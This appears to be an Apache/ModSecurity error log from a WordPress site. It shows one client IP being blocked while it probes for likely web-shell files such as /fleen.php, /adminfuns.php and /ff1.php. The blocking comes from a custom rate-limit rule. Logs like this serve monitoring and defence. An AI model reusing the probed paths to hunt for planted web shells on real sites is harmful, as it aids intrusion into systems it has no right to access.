[Mon Mar 02 02:23:09.718649 2026] [:error] [pid 53180:tid 53447] [client 20.151.11.236:63599] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaSEDTPPJpDOBvYnaa1oTQAAAYM"]
[Mon Mar 02 02:23:10.214490 2026] [:error] [pid 26940:tid 26965] [client 20.151.11.236:63509] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaSEDhrUg-j5GLDtRFnmKAAAAFU"]
[Mon Mar 02 02:23:10.637847 2026] [:error] [pid 26940:tid 26952] [client 20.151.11.236:57555] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaSEDhrUg-j5GLDtRFnmLQAAAEg"]
[Mon Mar 02 02:23:11.104089 2026] [:error] [pid 53180:tid 53446] [client 20.151.11.236:57541] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaSEDzPPJpDOBvYnaa1oUgAAAYI"]
[Mon Mar 02 02:23:11.535652 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:57483] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaSEDxrUg-j5GLDtRFnmNwAAAEM"]
[Mon Mar 02 02:23:11.984676 2026] [:error] [pid 53181:tid 53514] [client 20.151.11.236:58846] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaSED4r_0T1SazTrJOBSQgAAAQA"]
[Mon Mar 02 02:23:12.409816 2026] [:error] [pid 53180:tid 53458] [client 20.151.11.236:63512] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aaSEEDPPJpDOBvYnaa1oUwAAAY4"]
[Mon Mar 02 02:23:12.836685 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:57525] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSEEHbCvYsvu6kKhM3IUgAAAAE"]
[Mon Mar 02 02:23:13.254774 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:57475] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSEERrUg-j5GLDtRFnmRwAAAEY"]
[Mon Mar 02 02:23:13.669401 2026] [:error] [pid 26940:tid 26966] [client 20.151.11.236:55815] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSEERrUg-j5GLDtRFnmSwAAAFY"]
[Mon Mar 02 02:23:14.121124 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:57529] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fleen.php"] [unique_id "aaSEEhrUg-j5GLDtRFnmUQAAAEY"]
[Mon Mar 02 02:23:14.572449 2026] [:error] [pid 53181:tid 53527] [client 20.151.11.236:58818] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSEEor_0T1SazTrJOBSSwAAAQw"]
[Mon Mar 02 02:23:15.008837 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:63579] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSEExrUg-j5GLDtRFnmWAAAAEw"]
[Mon Mar 02 02:23:15.500059 2026] [:error] [pid 53181:tid 53523] [client 20.151.11.236:58780] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSEE4r_0T1SazTrJOBSTAAAAQg"]
[Mon Mar 02 02:23:15.908150 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:55891] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSEExrUg-j5GLDtRFnmZAAAAEY"]
[Mon Mar 02 02:23:16.351498 2026] [:error] [pid 53585:tid 53590] [client 20.151.11.236:55912] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEFHbCvYsvu6kKhM3IYAAAAAI"]
[Mon Mar 02 02:23:16.853604 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:57486] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEFPv073cA6eM1YCTr0QAAAMg"]
[Mon Mar 02 02:23:17.466838 2026] [:error] [pid 53585:tid 53606] [client 20.151.11.236:57597] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEFXbCvYsvu6kKhM3IZwAAABI"]
[Mon Mar 02 02:23:17.973789 2026] [:error] [pid 53585:tid 53612] [client 20.151.11.236:63511] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEFXbCvYsvu6kKhM3IagAAABg"]
[Mon Mar 02 02:23:18.400800 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:63561] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aaSEFnbCvYsvu6kKhM3IbQAAABM"]
[Mon Mar 02 02:23:18.830072 2026] [:error] [pid 53585:tid 53603] [client 20.151.11.236:57549] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aaSEFnbCvYsvu6kKhM3IcwAAAA8"]
[Mon Mar 02 02:23:19.312529 2026] [:error] [pid 53182:tid 53565] [client 20.151.11.236:63494] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aaSEF_v073cA6eM1YCTr3AAAANU"]
[Mon Mar 02 02:23:19.815805 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:63604] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aaSEFxrUg-j5GLDtRFnmeQAAAEc"]
[Mon Mar 02 02:23:20.246205 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:57556] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaSEGBrUg-j5GLDtRFnmfQAAAEM"]
[Mon Mar 02 02:23:20.858461 2026] [:error] [pid 26940:tid 26958] [client 20.151.11.236:57537] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaSEGBrUg-j5GLDtRFnmhwAAAE4"]
[Mon Mar 02 02:23:21.370855 2026] [:error] [pid 53182:tid 53562] [client 20.151.11.236:63493] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaSEGfv073cA6eM1YCTr4wAAANI"]
[Mon Mar 02 02:23:21.860957 2026] [:error] [pid 53585:tid 53604] [client 20.151.11.236:58797] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aaSEGXbCvYsvu6kKhM3IewAAABA"]
[Mon Mar 02 02:23:22.330608 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:63606] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEGnbCvYsvu6kKhM3IfQAAAA0"]
[Mon Mar 02 02:23:22.878884 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:57533] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEGnbCvYsvu6kKhM3IgQAAAAE"]
[Mon Mar 02 02:23:23.321154 2026] [:error] [pid 53181:tid 53529] [client 20.151.11.236:58815] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEG4r_0T1SazTrJOBSVQAAAQ4"]
[Mon Mar 02 02:23:23.751201 2026] [:error] [pid 53180:tid 53451] [client 20.151.11.236:57585] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aaSEGzPPJpDOBvYnaa1oZwAAAYc"]
[Mon Mar 02 02:23:24.290269 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:55820] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaSEHBrUg-j5GLDtRFnmowAAAEI"]
[Mon Mar 02 02:23:24.787528 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:58839] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaSEHHbCvYsvu6kKhM3IigAAAAE"]
[Mon Mar 02 02:23:25.291933 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:57593] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaSEHRrUg-j5GLDtRFnmrAAAAEA"]
[Mon Mar 02 02:23:25.749623 2026] [:error] [pid 53585:tid 53609] [client 20.151.11.236:63546] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaSEHXbCvYsvu6kKhM3IjgAAABU"]
[Mon Mar 02 02:23:26.223476 2026] [:error] [pid 53182:tid 53561] [client 20.151.11.236:58812] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaSEHvv073cA6eM1YCTr7gAAANE"]
[Mon Mar 02 02:23:26.662238 2026] [:error] [pid 26940:tid 26968] [client 20.151.11.236:63610] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaSEHhrUg-j5GLDtRFnmvQAAAFg"]
[Mon Mar 02 02:23:27.099715 2026] [:error] [pid 26940:tid 26959] [client 20.151.11.236:58774] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaSEHxrUg-j5GLDtRFnmwAAAAE8"]
[Mon Mar 02 02:23:27.526909 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:57499] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaSEHxrUg-j5GLDtRFnmxgAAAEk"]
[Mon Mar 02 02:23:28.025237 2026] [:error] [pid 53181:tid 53519] [client 20.151.11.236:58869] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaSEIIr_0T1SazTrJOBSXAAAAQU"]
[Mon Mar 02 02:23:28.510869 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:57587] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaSEIBrUg-j5GLDtRFnm0AAAAFQ"]
[Mon Mar 02 02:23:29.036728 2026] [:error] [pid 53585:tid 53603] [client 20.151.11.236:58873] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaSEIXbCvYsvu6kKhM3ImwAAAA8"]
[Mon Mar 02 02:23:29.510277 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:57523] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aaSEIXbCvYsvu6kKhM3IoQAAAAE"]
[Mon Mar 02 02:23:30.062762 2026] [:error] [pid 26940:tid 26959] [client 20.151.11.236:41723] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaSEIhrUg-j5GLDtRFnm2AAAAE8"]
[Mon Mar 02 02:23:30.731787 2026] [:error] [pid 53182:tid 53565] [client 20.151.11.236:55881] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaSEIvv073cA6eM1YCTr_QAAANU"]
[Mon Mar 02 02:23:31.500705 2026] [:error] [pid 53181:tid 53517] [client 20.151.11.236:57548] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaSEI4r_0T1SazTrJOBSYQAAAQM"]
[Mon Mar 02 02:23:32.092548 2026] [:error] [pid 53181:tid 53538] [client 20.151.11.236:55923] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaSEJIr_0T1SazTrJOBSYwAAARc"]
[Mon Mar 02 02:23:32.601691 2026] [:error] [pid 53181:tid 53525] [client 20.151.11.236:57477] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaSEJIr_0T1SazTrJOBSaQAAAQo"]
[Mon Mar 02 02:23:33.058371 2026] [:error] [pid 53585:tid 53609] [client 20.151.11.236:57547] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaSEJXbCvYsvu6kKhM3IsQAAABU"]
[Mon Mar 02 02:23:33.532577 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:58770] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaSEJXbCvYsvu6kKhM3ItAAAABM"]
[Mon Mar 02 02:23:34.127977 2026] [:error] [pid 53585:tid 53589] [client 20.151.11.236:57492] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaSEJnbCvYsvu6kKhM3IuAAAAAE"]
[Mon Mar 02 02:23:34.630895 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:57586] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaSEJnbCvYsvu6kKhM3IvgAAAA0"]
[Mon Mar 02 02:23:35.195116 2026] [:error] [pid 53585:tid 53608] [client 20.151.11.236:58759] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaSEJ3bCvYsvu6kKhM3IxQAAABQ"]
[Mon Mar 02 02:23:35.607536 2026] [:error] [pid 53182:tid 53555] [client 20.151.11.236:58864] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aaSEJ_v073cA6eM1YCTsDgAAAMs"]
[Mon Mar 02 02:24:39.040190 2026] [autoindex:error] [pid 26940:tid 26946] [client 20.151.11.236:58789] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 02 02:24:45.051061 2026] [autoindex:error] [pid 26940:tid 26952] [client 20.151.11.236:58789] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
